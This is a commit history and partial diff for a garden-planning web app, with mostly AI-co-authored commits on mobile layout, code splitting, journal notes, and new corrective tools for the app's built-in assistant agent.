30 Commits
Author SHA1 Message Date
steve cac26286b1 Merge pull request 'Let plop notes be written from the UI (#85 item 5)' (#123) from feat/plop-journal-notes into main
Build image / build-and-push (push) Successful in 13s
2026-07-23 01:42:02 +00:00
steve c432fe9199 Merge pull request 'Agent: add the corrective tools the toolbox was missing (#85 item 3)' (#122) from feat/agent-corrective-tools into main
Build image / build-and-push (push) Successful in 9s
2026-07-23 01:41:38 +00:00
steveandClaude Opus 4.8 f14875557b Address #123 review: viewers can read plop notes; tighten the API
Build image / build-and-push (push) Successful in 11s
- The "add note" affordance no longer hides from viewers (it claimed
  parity with the bed inspector but gated on !readOnly). A viewer now sees
  "📓 Notes about this plant" and can open the plop's journal to read it;
  the composer stays edit-gated, so they can't write. Real parity now.
- onScopePlantingChange is required, matching onScopeChange (its bed twin),
  so a caller can't pass a plop scope with no way to clear it. Dropped the
  now-dead guard on the "Show all" button.
- Pulled the plop-over-bed scope-label priority into one `scopeLabel`,
  shared by the filter's sibling logic and the composer, so they can't
  drift; trimmed the invariant comment that was restated a third time.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 21:41:11 -04:00
steveandClaude Opus 4.8 7b150275ae Address #122 review: pageable read_journal, service-clock removal
Build image / build-and-push (push) Successful in 20s
- read_journal now takes an offset, so the hasMore it returns is
  actionable — an agent can page a journal longer than 50 entries.
- remove_planting goes through a new service RemovePlanting that stamps
  removed_at from s.now() (the injectable clock ClearObject and the fill
  path use), instead of the adapter computing the date off the wall clock.
  It delegates to UpdatePlanting, so the role check, version guard and
  history record are unchanged. Drops the now-unused time import.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 21:39:20 -04:00
steve 9e227e29eb Merge pull request 'Reclaim mobile chrome: drop the editor's top banner, un-cramp the assistant' (#121) from feat/mobile-space-polish into main
Build image / build-and-push (push) Successful in 20s
2026-07-23 01:32:59 +00:00
steveandClaude Opus 4.8 256fa4f29f Address #121 review: keep sign-out reachable, dvh peek, exact height
Build image / build-and-push (push) Successful in 12s
- Fold the account menu into the editor's mobile strip. Hiding the global
  header removed the only sign-out on mobile in the editor; the strip now
  carries it, so the space win stays but sign-out is one tap away.
- EditorRail peek cap vh → dvh, matching the dvh-bounded editor column, so
  it can't overrun the visible viewport and push the mode bar off-screen.
- Mobile editor height 4rem → 3rem: with the header hidden, only <main>'s
  py-6 (3rem) is outside the editor, so 4rem left ~16px dead. Comment
  corrected.
- Trim two comments that duplicated nearby docs.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 21:31:35 -04:00
steveandClaude Opus 4.8 7015148edf Let plop notes be written from the UI (#85 item 5)
Build image / build-and-push (push) Successful in 19s
Gadfly review (reusable) / review (pull_request) Successful in 5m29s
Adversarial Review (Gadfly) / review (pull_request) Successful in 5m30s
journal_entries.planting_id was modelled, accepted by the API, and the
JournalPanel already rendered a "planting" badge for such entries — but
nothing in the UI ever created one. A badge for a state the UI couldn't
produce.

Give the plop the same "add note" affordance the bed inspector has:
- PlopInspector gains an onAddNote button ("📓 Add a note about this
  plant"), shown only to an editor (a viewer can't write notes).
- The editor store gains a journalPlantingId scope beside journalObjectId.
  The two are mutually exclusive — each setter clears the other — so the
  journal filter is never double-scoped.
- JournalPanel filters by plantingId when that scope is set, shows a
  "Notes about one planting · Show all" banner, and its composer attaches
  new notes to the plop. Empty-state copy updated to match.

Two taps from a selected plant to typing, mirroring the bed flow. No
backend change — the API already accepted plantingId.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 21:28:12 -04:00
steveandClaude Opus 4.8 887a3c2cc6 Agent: add the corrective tools the toolbox was missing (#85 item 3)
Build image / build-and-push (push) Successful in 6s
Gadfly review (reusable) / review (pull_request) Successful in 10m8s
Adversarial Review (Gadfly) / review (pull_request) Successful in 10m8s
The toolbox could create and move but not delete or resize; write the
journal but not read it; clear a whole bed but not pull one plant; report
seed remaining but not record a purchase. Close those gaps with thin
adapters over the SAME service methods the REST API uses, so they inherit
the permission checks unchanged:

  read_journal    → ListJournal   (the write/read asymmetry, most visible)
  update_object   → UpdateObject  (resize / rotate / rename / plantable)
  delete_object   → DeleteObject  (counterpart to create_object)
  remove_planting → UpdatePlanting (soft-remove ONE plop, like clear does)
  list_seed_lots  → ListSeedLots
  record_seed_lot → CreateSeedLot (record a purchase; "I bought 2 packets")

To address a single plop the agent needs its id + version, so
DescribePlanting now carries both — the same way DescribeObject.Version
already lets it edit an object. remove_planting soft-removes (removed_at =
today), mirroring clear_object, so the plant stays in planting history and
the change is undoable.

Deferred deliberately: an undo/revert tool needs a way to list recent
change sets to get a changeSetId, which is a larger addition; noted on the
issue for a follow-up.

Tested through the tool layer (TestCorrectiveTools): resize, single-plop
removal, journal read-back, seed-lot record+list, and delete.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 21:23:46 -04:00
steveandClaude Opus 4.8 ace696467b Reclaim mobile chrome: drop the editor's top banner, un-cramp the assistant
Build image / build-and-push (push) Successful in 23s
Gadfly review (reusable) / review (pull_request) Successful in 11m12s
Adversarial Review (Gadfly) / review (pull_request) Successful in 11m12s
Two mobile complaints, both in the editor/assistant context:

- The global top bar (brand + account) sat above the editor's own
  garden-name strip — a whole banner of pure chrome over a full-screen
  canvas. Hide it on mobile in the editor (the same rationale that hides
  the bottom nav there) and fold a leaf/back affordance into the garden
  strip so there's still a way out. Desktop keeps the header. The editor's
  height band shrinks 8rem → 4rem on mobile to hand that space to the
  canvas; desktop stays 8rem since the header is still there.

- The assistant (and journal/history) rendered inside the rail peek
  capped at max-h-[50vh]; after the tab bar, header and input, messages
  got ~200px. That cap is right for the inspector (read alongside the
  canvas) but not for a mode where reading/typing is the task. Panel
  modes now take a taller slice (78vh) via a `tall` prop; the inspector
  keeps the 50vh peek. Chat message spacing loosened gap-2 → gap-3.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 21:13:35 -04:00
steve a72ddefc99 Add "Scan a packet" to the editor's Plants mode
Build image / build-and-push (push) Successful in 7s
Surfaces the seed-packet scan (shipped in #102) inside the editor's Plants mode — a capability-gated "📷 Scan packet" entry in the shared PlantPlacementTools cluster (desktop focus toolbar + mobile strip) and in the mobile pre-focus hint — so a variety can be added mid-planting without leaving the garden. Follow-up to #102 per Steve's deferred design call.

Co-authored-by: Steve Dudenhoeffer <[email protected]>
2026-07-22 17:25:39 +00:00
steve cf37e57808 Seed-packet scan UI: camera/upload → proposal → confirm (#102)
Build image / build-and-push (push) Successful in 6s
Adds the mobile-first UI for the seed-packet capture backend (live since #94): a capability-gated "Scan a packet" entry in the Plants catalog opens a camera/upload → editable proposal → confirm flow that creates a plant (new or matched) + a seed lot. Frontend only. Closes #102 — the last open child of epic #96.

Co-authored-by: Steve Dudenhoeffer <[email protected]>
2026-07-22 17:07:26 +00:00
steve 08d8c5e47d Render the assistant's replies as Markdown (#118)
Build image / build-and-push (push) Successful in 7s
Render assistant chat output as GFM Markdown (tables, lists, code, headings), lazy-loaded so the ~150 KB renderer only ships when an assistant message shows. Hardened per review: no <img> (exfiltration-beacon guard), no raw HTML, error-boundary + stale-chunk recovery around the lazy chunk, GFM column alignment, and memoized parsing.

Co-authored-by: Steve Dudenhoeffer <[email protected]>
2026-07-22 16:42:12 +00:00
steve e7b91de752 Merge pull request 'Touch ergonomics: bigger handles + on-screen nudge pad (#104)' (#117) from feat/touch-ergonomics into main
Build image / build-and-push (push) Successful in 8s
2026-07-22 14:20:24 +00:00
steveandClaude Opus 4.8 b0e11bce17 Address touch review: one coarse-pointer signal + stable nudge callbacks
Build image / build-and-push (push) Successful in 10s
Gadfly on #104:
- The handles keyed off `pointer: coarse` but the NudgePad off `md:hidden`
  (viewport), so a large touchscreen or a narrow mouse window got them
  disagreeing. Extracted one `isCoarsePointer` in shared.ts that both use —
  the pad now shows on a coarse pointer, same as the bigger handles.
- Wrapped commitLater/nudgeSelected in useCallback([]) — stable identity, so
  NudgePad doesn't re-render each parent render, and the mount-once keydown
  effect capturing nudgeSelected is now explicitly safe (a comment spells out
  the refs-only invariant that makes the empty-deps capture correct).
- isCoarsePointer's optional-chained matchMedia keeps it false (mouse
  defaults) under test/SSR, addressing the constants-file testability note.

tsc + build green.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 10:19:53 -04:00
steveandClaude Opus 4.8 1323a03acd Touch ergonomics: bigger handles + on-screen nudge pad (#104)
Build image / build-and-push (push) Successful in 10s
Gadfly review (reusable) / review (pull_request) Successful in 10m11s
Adversarial Review (Gadfly) / review (pull_request) Successful in 10m12s
Two touch gaps the audit named:

- Resize/rotate handles were a fixed 12px — fine for a mouse, hard for a
  fingertip. HANDLE_PX is now 22px on a coarse pointer (touch), 12px
  otherwise. Read once at load.
- Fine positioning was keyboard-only (arrow-nudge), which a phone can't
  reach and a drag can't do at single-cm precision. Added an on-screen
  NudgePad — a ↑←→↓ d-pad (~40px targets) shown while something's selected
  on a touch layout (md:hidden).

To share behaviour without duplicating the intricate part, extracted
nudgeSelected(dx, dy) from the keyboard handler — the live-geometry update
+ one debounced PATCH (so a burst of nudges from either surface commits
once) + the plop-bounds clamp. The keyboard handler and the pad both call
it. Verified live: the pad moves a selected bed 1cm/tap on mobile, and the
keyboard arrows still nudge on desktop after the refactor.

(The rail-vs-toast layering the issue also lists was resolved by #101 —
the rail is now an in-flow peek, not a fixed sheet the toast could cover.)

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 10:13:23 -04:00
steve 06b887f58e Merge pull request 'Cleanup: ConfirmModal primitive, drop dead PageStub, full-width editor (#107)' (#116) from feat/cleanup into main
Build image / build-and-push (push) Successful in 18s
2026-07-22 14:05:20 +00:00
steveandClaude Opus 4.8 440e43eb78 Address cleanup review: no double error report; guard Leave onConfirm
Build image / build-and-push (push) Successful in 10s
Gadfly on #107:
- ClearBed reported a failure twice — ConfirmModal's inline Alert AND
  useClearObject's own onError toast. Dropped the toast from useClearObject
  (its only caller is that modal now), so the failure shows once, inline in
  the dialog where the action is.
- LeaveGarden's onConfirm silently resolved (closing the dialog as if it
  worked) if me.data was missing, relying on confirmDisabled to prevent it.
  Throw instead, so a drift in that guard surfaces an error rather than a
  fake success.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 10:04:49 -04:00
steveandClaude Opus 4.8 9a8382c4a2 Cleanup: ConfirmModal primitive, drop dead PageStub, full-width editor (#107)
Build image / build-and-push (push) Successful in 9s
Gadfly review (reusable) / review (pull_request) Successful in 8m19s
Adversarial Review (Gadfly) / review (pull_request) Successful in 8m19s
Three tidy-ups from the audit's deferred list:

- Extracted a ConfirmModal primitive (message + Cancel/Confirm, owning the
  busy lock + inline error) and folded the five hand-rolled confirm dialogs
  onto it: DeleteGarden, LeaveGarden, DeletePlant, DeleteSeedLot, ClearBed.
  Each is now just its message + mutation + labels. Bonus: ClearBed now
  shows a failure inline instead of swallowing it. (CopyGarden stays on
  Modal — it has a name field, not a plain confirm.)
- Removed components/PageStub.tsx — dead scaffolding, imported nowhere.
- The garden editor was squeezed into the max-w-5xl reading measure the
  other pages use; the canvas routes (editor + public garden) now go
  edge-to-edge on desktop, and the top bar matches so the brand aligns with
  the editor's left edge. Mobile was already full-width, so it's unchanged.

Verified live: the Delete-garden confirm renders/cancels; the desktop editor
now uses the full viewport width. tsc + vitest + build green.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 10:00:07 -04:00
steve 09e52a2d41 Merge pull request 'Touch-size the list-card footer actions (#105)' (#115) from feat/responsive-polish into main
Build image / build-and-push (push) Successful in 11s
2026-07-22 13:51:54 +00:00
steveandClaude Opus 4.8 1b4bbf0a06 Address review: drop redundant flex on the plant seed-lot toggle
Build image / build-and-push (push) Successful in 17s
Gadfly on #105: cardActionClass now bakes in `inline-flex items-center`, so
the PlantCard seed-lot toggle's own `flex items-center` conflicted (two
display utilities in one plain-string className). Drop them — keep just
`mr-auto gap-1.5`. Also made cardActions.ts use one consistent concatenation
style instead of mixing concat + template literals.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 09:51:21 -04:00
steve 12de25e8f3 Merge pull request 'Non-occluding mobile inspector + always-visible mode bar (#101)' (#114) from feat/mobile-inspector-peek into main
Build image / build-and-push (push) Successful in 6s
2026-07-22 13:49:52 +00:00
steveandClaude Opus 4.8 78ee892b64 Address inspector-peek review: stale docs + selection cleanup
Build image / build-and-push (push) Successful in 10s
Gadfly on #101:
- EditorRail's module doc still described a "fixed 20rem column / bottom
  sheet"; updated to the in-flow peek (desktop column, phone ≤50vh peek
  between canvas and mode bar).
- (correctness) A canvas-mode tap only deselected when railTab was
  'inspector', so a selection made, then routed through Journal/Assistant,
  survived a return to Fixtures/Plants — the canvas kept highlighting it
  with no inspector. Canvas modes now clear the selection unconditionally.
- Dedup: the "closing the inspector deselects" pair lived in both selectMode
  and the rail's onClose; extracted a clearSelection() helper (also used by
  exitFocus) and fixed the now-stale "leave an inspector alone" comment.

tsc + vitest + build green.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 09:49:28 -04:00
steveandClaude Opus 4.8 b33bdeb9ff Touch-size the list-card footer actions (#105)
Build image / build-and-push (push) Successful in 19s
Gadfly review (reusable) / review (pull_request) Successful in 3m4s
Adversarial Review (Gadfly) / review (pull_request) Successful in 3m4s
The Share/Copy/Edit/Delete (gardens) and Duplicate/Edit/Delete (plants)
footer actions were a row of ~28px text links — easy to mis-tap on a phone,
the "cramped link row" the issue calls out. Both card types share
cardActionClass/cardDangerClass, so one change fixes both: a ~40px-tall tap
target (min-h + py-2) that reads as a button, not a link. min-h guarantees
the target even for a short label.

Verified at 390px on the gardens list; desktop unaffected (just a slightly
taller footer). tsc + vitest green.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 09:46:13 -04:00
steveandClaude Opus 4.8 3b9c9086b6 Non-occluding mobile inspector + always-visible mode bar (#101)
Build image / build-and-push (push) Successful in 16s
Gadfly review (reusable) / review (pull_request) Successful in 7m33s
Adversarial Review (Gadfly) / review (pull_request) Successful in 7m33s
Two things at once, because they're one layout: on a phone, selecting a bed
opened the rail as a bottom sheet that COVERED the whole garden, and opening
Journal/Assistant hid the mode bar until you closed it. You couldn't see what
you were editing, or switch modes without backing out.

Now the rail is an in-flow PEEK. Instead of `fixed bottom-0 max-h-70vh`
overlaying everything, EditorRail on mobile is a ≤50vh flex child the editor
places BETWEEN the canvas and the mode bar:

  canvas (flex-1, shrinks)  →  rail peek (≤50vh)  →  mode bar (always shown)

So the garden stays visible in the top band, the mode bar stays reachable
below, and you can tap another mode straight from an open panel. The
contextual tool strip yields to the peek (gated on !railTab), and tapping a
canvas mode closes the panel (deselecting if it was the inspector).

Desktop is untouched — the same EditorRail is the right-hand column there
(`md:` styles), the mode bar stays `md:hidden`.

Answers Steve's two calls from the end-of-run questions: always-visible mode
bar + non-occluding inspector. Verified live at 390px (inspector + journal
peeks keep the garden and mode bar visible; mode switching works) and 1280px
(desktop unchanged). tsc + vitest + build green; DESIGN updated.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 09:40:51 -04:00
steve 1e0bf16a2a Merge pull request 'Route-level code splitting for faster mobile first paint (#106)' (#113) from feat/code-splitting into main
Build image / build-and-push (push) Successful in 17s
2026-07-22 06:18:22 +00:00
steveandClaude Opus 4.8 79df0df53f Address code-split review: chunk-load recovery + tidier lazy + gesture split
Build image / build-and-push (push) Successful in 10s
Gadfly on #106:

- (2 models) React.lazy memoizes a REJECTED import, so after a deploy (every
  main push) a still-open app references chunk hashes the server just
  replaced — the import 404s and RouteError's "Try again" can never recover.
  New lazyPage() helper reloads once on a chunk-load failure to fetch fresh
  hashes (session-flag guarded against a reload loop; cleared on success).
- (perf) @use-gesture is editor-only, but the single vendor chunk pulled it
  into the eager first paint. Exclude it from vendor so it rides with the
  lazy editor chunk (vendor 421→392 KB; the gesture code moved into the
  editor's own chunk). react/react-dom/tanstack still share one vendor chunk
  — splitting react-dom out is what broke React 19 at load.
- (nits) lazyPage also unwraps the named export, so the five route lazies are
  uniform one-liners; moved the lazy block below the import group.

Re-verified live: app mounts, /gardens/1 lazy-loads + renders the editor,
console clean. tsc + build green, no >500 KB warning.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 02:17:55 -04:00
steveandClaude Opus 4.8 99798db8f6 Route-level code splitting for faster mobile first paint (#106)
Build image / build-and-push (push) Successful in 9s
Gadfly review (reusable) / review (pull_request) Successful in 6m18s
Adversarial Review (Gadfly) / review (pull_request) Successful in 6m18s
The whole app shipped in one 578 KB chunk, so a phone on cell data
downloaded and parsed everything — the canvas editor, gestures, geometry,
every page — before the login screen could paint.

- Lazy-load the heavy/deep routes via React.lazy: the editor (its
  GardenCanvas + use-gesture + geometry are the biggest surface), the
  public garden view, plants, settings, register. Login and the gardens
  list stay eager (entry points — no fallback flash on landing). AppShell
  wraps <Outlet> in a Suspense boundary.
- One `vendor` manualChunk for all node_modules so the rarely-changing
  libraries cache across app deploys while the tiny app chunk churns.
  Kept as a SINGLE chunk deliberately: splitting react-dom/scheduler into
  their own chunk reorders module init across chunk boundaries and breaks
  React 19 at load ("Cannot set 'Activity' of undefined") — verified that
  failure and backed it out.

Result: app entry chunk 578 KB → 39 KB; vendor 421 KB (cached); the editor
(43 KB) + canvas (17 KB) only download when you open a garden. No more
>500 KB chunk warning.

Verified live against the embedded binary: /gardens loads with only
index+vendor; opening a garden lazy-fetches the editor chunk and renders;
console clean; the embed serves the hashed split chunks + SPA fallback fine.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 02:07:50 -04:00
steve 11e8e1a544 Merge pull request 'Plants mode: recent-planted quick strip + clump/rows fill (#100)' (#112) from feat/plants-mode-recent into main
Build image / build-and-push (push) Successful in 11s
2026-07-22 05:58:39 +00:00
steveandClaude Opus 4.8 7297138630 Address review: shared PlantChip + named recent-plants cap
Build image / build-and-push (push) Successful in 17s
Gadfly on #100:
- Extracted the tap-to-arm chip (icon + name + armed state) into a shared
  PlantChip, used by both RecentPlants and SeedTray, so the two quick-pick
  surfaces can't drift. SeedTray composes it (rounded={false}) with its
  remove button into one seamless pill.
- Named the recent-strip cap: RECENT_PLANTS_MAX = 8, was a bare slice(0, 8).

Verified live: recent chips and the tray render identically post-refactor.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 01:58:06 -04:00
steveandClaude Opus 4.8 97c8a36bac Plants mode: recent-planted quick strip + clump/rows fill (#100)
Build image / build-and-push (push) Successful in 10s
Gadfly review (reusable) / review (pull_request) Successful in 9m44s
Adversarial Review (Gadfly) / review (pull_request) Successful in 9m44s
Two things Steve asked for, both in the #99 Plants mode:

- A "Recent" strip of the plants most recently planted IN THIS GARDEN
  (recentlyPlantedIds — derived from actual plantings, newest first, unique;
  NOT the manual localStorage tray), as tap-to-arm chips. So re-planting
  "more of the same" is one tap, no picker. Hidden until something's planted.
- A clump/rows fill control (FillControl), shown once a plant is armed:
  pick a layout, "Fill bed", and it runs POST /objects/:id/fill region=all
  with the chosen layout — the #77 grid/clump fill the UI could NOT reach
  before (it was agent/REST only). Defaults to rows (a real planting).
  useFillObject mirrors useClearObject: one request, invalidate /full.

Both live in the shared PlantPlacementTools, so desktop's focus toolbar and
the mobile Plants strip get them identically. Fill is capped/validated
server-side (#95) and covered spots are skipped, so re-filling is safe.

Verified live at 390px: the Recent strip shows this garden's tomato/lettuce/
garlic; arming a chip reveals Clump|Rows + Fill bed; fill fires cleanly.
tsc + vitest (95, incl. recentlyPlantedIds) + build green. DESIGN updated.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 01:49:24 -04:00
43 changed files with 3541 additions and 359 deletions
+1 -1
View File
@@ -129,7 +129,7 @@ React 19 + TypeScript + Vite + Tailwind 4 (`@tailwindcss/vite`), `@tanstack/reac
- **Routes:** `/login`, `/register`, `/gardens` (list), `/gardens/:id` (editor, `?focus=objectId`), `/plants` (catalog). Auth guard on the router root via `/auth/me`.
- **State:** TanStack Query for all server state (editor keyed on `gardens/:id/full`; optimistic mutations with version-conflict rollback). One small Zustand store for ephemeral editor state only: viewport, selection, focused object, active tool, in-flight drag, and the mobile `mode`.
- **Mobile-first editor: one primary mode (#99).** On a phone the canvas is the whole screen; a bottom mode bar switches which tools dock beneath it — **Fixtures** (the object palette), **Plants** (the seed tray, shown once a bed is focused; focusing a bed puts you in this mode), **Journal**, **Assistant** (the last two open the rail sheet; Assistant is hidden with no model). This replaces the old phone layout where a stacked control column shoved the garden into a corner. Desktop keeps its side-column layout (the mode bar is `md:hidden`) and treats `mode` as an inert hint. History stays reachable as a rail sub-tab rather than a fifth primary mode.
- **Mobile-first editor: one primary mode (#99).** On a phone the canvas is the whole screen; a bottom mode bar switches which tools dock beneath it — **Fixtures** (the object palette), **Plants** (shown once a bed is focused; focusing a bed puts you in this mode — a "Recent" strip of what you've most recently planted *in this garden* (#100, derived from plantings, not the manual tray) for one-tap re-arming, the seed tray, the picker, and a clump/rows **fill** control that runs the region fill (#77) the UI couldn't reach before), **Journal**, **Assistant** (Assistant hidden with no model). This replaces the old phone layout where a stacked control column shoved the garden into a corner. The mode bar is **always visible**, and the rail (inspector, journal, history, assistant) is an **in-flow peek** (#101): a ≤50vh panel the editor's flex column places BETWEEN the canvas and the mode bar, so the canvas flexes to keep the garden visible above it and the mode bar reachable below — selecting a bed no longer hides the whole garden, and you can switch modes without closing a panel. Desktop keeps its side-column layout (the mode bar is `md:hidden`, the rail is the right column) and treats `mode` as an inert hint. History stays reachable as a rail sub-tab rather than a fifth primary mode.
- **Editor components (`web/src/editor/`):** `GardenCanvas` (svg root + viewport g), `useViewport` (use-gesture pan/zoom/pinch), `ObjectShape`, `PlopMarker` (semantic-zoom branching), `Palette` (drag-to-place object kinds), `EditorRail` (the one side panel), `Inspector`, `HistoryPanel`, `PlantPicker`.
- **One rail, tabs inside it.** The inspector, history, journal and assistant all want the same strip of screen; rather than each bolting on its own chrome they are tabs in `EditorRail` — so the canvas is one width instead of a different width per panel, and adding a panel is adding a tab. Selecting an object switches to the Inspector tab automatically, so the rail is never something you operate before you can edit; on a phone the same tabs render in the bottom sheet the inspector already used. Pure geometry helpers (local↔world transforms, unit formatting) in `web/src/lib/geometry.ts`, unit-tested.
+111
View File
@@ -64,6 +64,40 @@ func NewToolbox(svc *service.Service, actorID int64) *llm.Toolbox {
"(\"powdery mildew on the west bed\", \"first frost\"), not for descriptions of what a "+
"thing is. observedAt defaults to today; set it to backdate.",
a.addJournalEntry),
llm.DefineTool("read_journal",
"Read back the garden's grow journal — the observations add_journal_entry wrote. "+
"Narrow it with objectId (one bed), or a from/to date range (YYYY-MM-DD). Most "+
"recently observed first. Use this to answer \"what did I note about the west bed?\" "+
"or \"what happened last spring?\".",
a.readJournal),
llm.DefineTool("update_object",
"Change an existing object: resize it (widthCm/heightCm), rotate it (rotationDeg), "+
"rename it (name), or toggle whether it can hold plants (plantable). Only the fields "+
"you pass change. Needs the object's current version from describe_garden. Example: "+
"\"make that bed 60cm wider\" — read its widthCm from describe_garden, add 60, pass the "+
"sum.",
a.updateObject),
llm.DefineTool("delete_object",
"Delete an object from a garden entirely, along with its plantings. This is the "+
"counterpart to create_object — use it for \"remove the old grow bag\". Permanent (not "+
"the same as clearing a bed's plants); prefer clear_object when the bed itself stays.",
a.deleteObject),
llm.DefineTool("remove_planting",
"Remove ONE plop from a bed, leaving the rest — the single-plant answer to clear_object's "+
"all-or-nothing. Soft-removes it (kept for planting history, undoable), like clearing a "+
"bed does. Needs the plop's id and version from describe_garden. Use for \"pull the "+
"basil out of the corner\".",
a.removePlanting),
llm.DefineTool("list_seed_lots",
"List the seed lots (purchases) the user has recorded — vendor, quantity, and what's "+
"left — optionally for one plant via plantId. This is the detail behind the \"seed "+
"remaining\" number find_plant reports.",
a.listSeedLots),
llm.DefineTool("record_seed_lot",
"Record a seed purchase for a plant the user owns, so pansy can track how much is left. "+
"Get the plantId from find_plant first. quantity + unit is what was bought (e.g. 2 "+
"\"packets\", or 500 \"seeds\"). Use for \"I bought two packets of Cherokee Purple\".",
a.recordSeedLot),
)
}
@@ -177,3 +211,80 @@ func (a *adapter) clearObject(ctx context.Context, args struct {
}
return map[string]int{"cleared": n}, nil
}
func (a *adapter) readJournal(ctx context.Context, args struct {
GardenID int64 `json:"gardenId" description:"garden whose journal to read"`
ObjectID *int64 `json:"objectId" description:"optional bed to narrow to; omit for the whole garden"`
From string `json:"from" description:"optional earliest observed date, YYYY-MM-DD"`
To string `json:"to" description:"optional latest observed date, YYYY-MM-DD"`
Offset int `json:"offset" description:"how many entries to skip; pass the count you've already seen to page when hasMore is true"`
}) (any, error) {
q := service.JournalQuery{ObjectID: args.ObjectID, Limit: 50, Offset: args.Offset}
if args.From != "" {
q.From = &args.From
}
if args.To != "" {
q.To = &args.To
}
entries, hasMore, err := a.svc.ListJournal(ctx, a.actor, args.GardenID, q)
if err != nil {
return nil, err
}
// hasMore is actionable now: re-call with offset += len(entries) to page.
return map[string]any{"entries": entries, "hasMore": hasMore}, nil
}
func (a *adapter) updateObject(ctx context.Context, args struct {
ObjectID int64 `json:"objectId" description:"object to change"`
Version int64 `json:"version" description:"the object's current version (from describe_garden)"`
Name *string `json:"name" description:"optional new label"`
WidthCM *float64 `json:"widthCm" description:"optional new width in cm (a circle's diameter)"`
HeightCM *float64 `json:"heightCm" description:"optional new height in cm"`
RotationDeg *float64 `json:"rotationDeg" description:"optional new rotation in degrees"`
Plantable *bool `json:"plantable" description:"optional: whether the object can hold plants"`
}) (any, error) {
return a.svc.UpdateObject(ctx, a.actor, args.ObjectID, service.ObjectPatch{
Name: args.Name, WidthCM: args.WidthCM, HeightCM: args.HeightCM,
RotationDeg: args.RotationDeg, Plantable: args.Plantable,
}, args.Version)
}
func (a *adapter) deleteObject(ctx context.Context, args struct {
ObjectID int64 `json:"objectId" description:"object to delete (with its plantings)"`
}) (any, error) {
if err := a.svc.DeleteObject(ctx, a.actor, args.ObjectID); err != nil {
return nil, err
}
return map[string]any{"deleted": args.ObjectID}, nil
}
func (a *adapter) removePlanting(ctx context.Context, args struct {
PlantingID int64 `json:"plantingId" description:"plop to remove (its id from describe_garden)"`
Version int64 `json:"version" description:"the plop's current version (from describe_garden)"`
}) (any, error) {
// Soft-remove via the service, so removed_at is stamped from the same
// (injectable) clock clear_object uses rather than the adapter's wall clock.
return a.svc.RemovePlanting(ctx, a.actor, args.PlantingID, args.Version)
}
func (a *adapter) listSeedLots(ctx context.Context, args struct {
PlantID *int64 `json:"plantId" description:"optional: only lots for this plant"`
}) (any, error) {
return a.svc.ListSeedLots(ctx, a.actor, args.PlantID)
}
func (a *adapter) recordSeedLot(ctx context.Context, args struct {
PlantID int64 `json:"plantId" description:"plant the seed is for (from find_plant); must be the user's own or a built-in"`
Quantity float64 `json:"quantity" description:"how much was bought, in the given unit"`
Unit string `json:"unit" description:"what quantity counts, e.g. packets | seeds | grams"`
Vendor string `json:"vendor" description:"optional vendor name"`
SourceURL string `json:"sourceUrl" description:"optional http(s) link to where it was bought"`
PackedForYear *int `json:"packedForYear" description:"optional 'packed for' year from the packet"`
Notes string `json:"notes" description:"optional free-text notes"`
}) (any, error) {
return a.svc.CreateSeedLot(ctx, a.actor, service.SeedLotInput{
PlantID: args.PlantID, Quantity: args.Quantity, Unit: args.Unit,
Vendor: args.Vendor, SourceURL: args.SourceURL,
PackedForYear: args.PackedForYear, Notes: args.Notes,
})
}
+121
View File
@@ -347,6 +347,127 @@ func TestJournalToolWritesADatedObservation(t *testing.T) {
}
}
// TestCorrectiveTools covers the #85 gaps: the agent can now read the journal it
// could only write, resize and delete an object it could only create and move,
// pull a single plop instead of clearing the whole bed, and record/read seed
// lots. Each is driven through the tool layer the way a model would run it.
func TestCorrectiveTools(t *testing.T) {
ctx := context.Background()
svc, owner := newAgentTestService(t)
box := NewToolbox(svc, owner)
var gid int64 // set once the garden exists; the describe closure reads it.
call := func(name string, args any) llm.ToolResult {
t.Helper()
